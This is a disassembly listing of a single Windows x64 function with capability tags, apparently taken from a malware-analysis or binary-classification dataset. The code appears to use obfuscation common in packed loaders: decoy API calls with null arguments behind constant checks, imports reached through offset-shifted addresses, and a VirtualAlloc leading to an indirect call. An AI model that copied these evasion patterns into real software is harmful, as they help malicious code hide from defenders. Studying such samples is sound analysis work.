Function at 0x180003e10
Capabilities:
Copy file
Create thread
Delete directory
Get disk information
Get disk size
Get hostname
Identify system language via api
Manipulate console buffer

Disassembly:
mov dword [rsp + 8], ecx
push rbp
push rbx
push rdi
lea rbp, [rsp - 0x280]
sub rsp, 0x380
xor edi, edi
call fcn.1800842e8
mov r8d, eax
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x64
sub r8d, ecx
inc r8d
mov r9d, dword [0x180125770]
cmp r9d, 0x54d7a28e
jne 0x180003e70
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
mov eax, 0x55555556
imul r8d
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
jne 0x180003f1e
movsxd rcx, dword [rbp + 0x2a0]
call fcn.18007e7bc
mov rbx, rax
cmp dword [0x180125770], 0xe266f64c
jne 0x180004567
mov qword [rsp + 0x20], rdi
mov r9d, dword [rbp + 0x2a8]
mov r8d, dword [rbp + 0x2a8]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_AdjustWindowRectEx]
call qword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], rdi
lea rax, [0x18013ee10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x18013ee38]
call qword [sym.imp.KERNEL32.dll_GetDurationFormatEx]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCPInfo]
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetMessageExtraInfo]
jmp 0x180004567
mov eax, r8d
and eax, 0x80000003
jge 0x180003f2f
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x18000431d
call fcn.1800842e8
and eax, 0x80000003
jge 0x180003f4a
dec eax
or eax, 0xfffffffc
inc eax
inc eax
test al, 1
jne 0x180004215
mov dword [rbp + 0x2a8], 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
add rax, 0x17e
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x17e
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x2a8]
lea rcx, [rsp + 0x50]
call fcn.180012b60
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add rax, 0x1ce
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x1ce
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x70]
lea rcx, [rsp + 0x50]
call fcn.180012d60
mov ebx, eax
mov dword [rbp + 0x2a8], edi
mov rcx, qword [sym.imp.KERNEL32.dll_GlobalAlloc]
add rcx, 0x146
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x58], 0x146
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rbp + 0x2a0]
lea rdx, [rbp + 0x2a8]
lea rcx, [rsp + 0x50]
call fcn.180012f50
mov qword [rbp + 0x2b0], rax
lea rcx, [rbp - 0x80]
call fcn.18000a750
nop
lea rdx, [0x18013ee60]
lea rcx, [rbp - 0x80]
call fcn.180013150
mov rcx, rax
lea rdx, [rbp + 0x70]
call fcn.180013150
mov rcx, rax
lea rdx, [0x18013ee5c]
call fcn.180013150
lea rdx, [0x18013ee88]
lea rcx, [rbp - 0x80]
call fcn.180013150
test bl, 0x10
je 0x180004072
lea rdx, [0x18013eea8]
lea rcx, [rbp - 0x80]
call fcn.180013150
test bl, 1
je 0x180004087
lea rdx, [0x18013eec8]
lea rcx, [rbp - 0x80]
call fcn.180013150
test bl, 2
je 0x18000409c
lea rdx, [0x18013eee8]
lea rcx, [rbp - 0x80]
call fcn.180013150
test bl, 4
je 0x1800040b1
lea rdx, [0x18013ef00]
lea rcx, [rbp - 0x80]
call fcn.180013150
test bl, 0x20
je 0x1800040c6
lea rdx, [0x18013ef18]
lea rcx, [rbp - 0x80]
call fcn.180013150
bt ebx, 0xb
jae 0x1800040dc
lea rdx, [0x18013ef38]
lea rcx, [rbp - 0x80]
call fcn.180013150
bt ebx, 0xe
jae 0x1800040f2
lea rdx, [0x18013ef58]
lea rcx, [rbp - 0x80]
call fcn.180013150
bt ebx, 8
jae 0x180004108
lea rdx, [0x18013ef78]
lea rcx, [rbp - 0x80]
call fcn.180013150
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x78]
call fcn.18000f290
nop
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 7
cmova rax, qword [rsp + 0x60]
mov qword [rbp + 0x2a8], rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rax, 0x11a
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x11a
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x2a8]
lea rcx, [rsp + 0x50]
call fcn.180013410
nop
lea rcx, [rsp + 0x60]
call fcn.18000cd00
mov rax, qword [sym.imp.KERNEL32.dll_GlobalLock]
add rax, 0x160
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x160
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x2b0]
lea rcx, [rsp + 0x50]
call fcn.180013600
mov rbx, rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [0x18013de38]
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x88]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call fcn.18000ae70
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [0x18013dd58]
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x7c], edx
lea rax, [0x18013ea58]
mov qword [rbp + 8], rax
lea rcx, [rbp + 8]
call fcn.18007d38c
nop
jmp 0x180004567
movsxd rdx, dword [rbp + 0x2a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov qword [rbp + 0x2a8], rax
cmp dword [0x180125770], 0xb14aca1e
jne 0x1800042e2
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsValidLocale]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_SetClassLongW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_UnregisterDeviceNotification]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rax, [0x18013ef98]
mov qword [rsp + 0x20], rax
xor r9d, r9d
lea r8, [0x18013efc8]
xor edx, edx
lea rcx, [0x18013eff8]
call qword [sym.imp.KERNEL32.dll_CompareStringEx]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AddResourceAttributeAce]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPreferredUILanguages]
mov rax, qword [sym.imp.KERNEL32.dll_LocalLock]
add rax, 0x205
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x205
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x2a8]
lea rcx, [rsp + 0x50]
call fcn.180013600
jmp 0x180004564
test r8b, 1
jne 0x1800043dc
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
add rax, 0x24a
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x24a
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.1800137f0
mov rbx, rax
cmp dword [0x180125770], 0x5867fdbe
jne 0x1800043c2
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CopyFileTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandleEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteFiber]
movsxd r8, dword [rbp + 0x2a0]
mov edx, 8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x180004564
cmp r9d, 0x8821f634
jne 0x1800044f9
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCompressedFileSizeTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DiscardVirtualMemory]
lea rax, [0x18013f038]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
lea r9, [0x18013f070]
xor r8d, r8d
xor edx, edx
lea rcx, [0x18013f0a8]
call qword [sym.imp.KERNEL32.dll_GetDateFormatEx]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrefetchVirtualMemory]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
lea rcx, [0x18013f0e0]
call qword [sym.imp.KERNEL32.dll_AddDllDirectory]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetThreadPreferredUILanguages]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessDEPPolicy]
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RequestWakeupLatency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpool]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseThreadpoolWork]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveVectoredContinueHandler]
xor ecx, ecx
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleDisplayMode]
call qword [sym.imp.KERNEL32.dll_GetVersion]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDevicePowerState]
mov dword [rbp + 0x2a8], 4
mov dword [rbp + 0x2b0], 0x3000
mov qword [rbp + 0x2b8], rdi
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rax, 0x223
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x223
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rbp + 0x2a8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2b0]
lea r8, [rbp + 0x2a0]
lea rdx, [rbp + 0x2b8]
lea rcx, [rsp + 0x50]
call fcn.1800139d0
mov rbx, rax
test rbx, rbx
jne 0x1800046dd
cmp dword [0x180125770], 0x6879243f
jne 0x1800046a4
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemRegistryQuota]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelThreadpoolIo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov qword [rsp + 0x38], rdi
lea rax, [0x18013f118]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [0x18013f130]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsAlloc]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlsGetValue]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
lock add dword [rdi], ebx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x18013f158]
call qword [sym.imp.KERNEL32.dll_FindFirstStreamTransactedW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
call qword [sym.imp.KERNEL32.dll_CreateTimerQueue]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_RemoveSecureMemoryCacheCallback]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFinalPathNameByHandleW]
lea rax, [fcn.18008f3c8]
add rax, 0x24f
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x58], 0x24f
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
lea rdx, [rbp + 0x2a0]
lea rcx, [rsp + 0x50]
call fcn.180012350
mov rbx, rax
mov rax, rbx
add rsp, 0x380
pop rdi
pop rbx
pop rbp
ret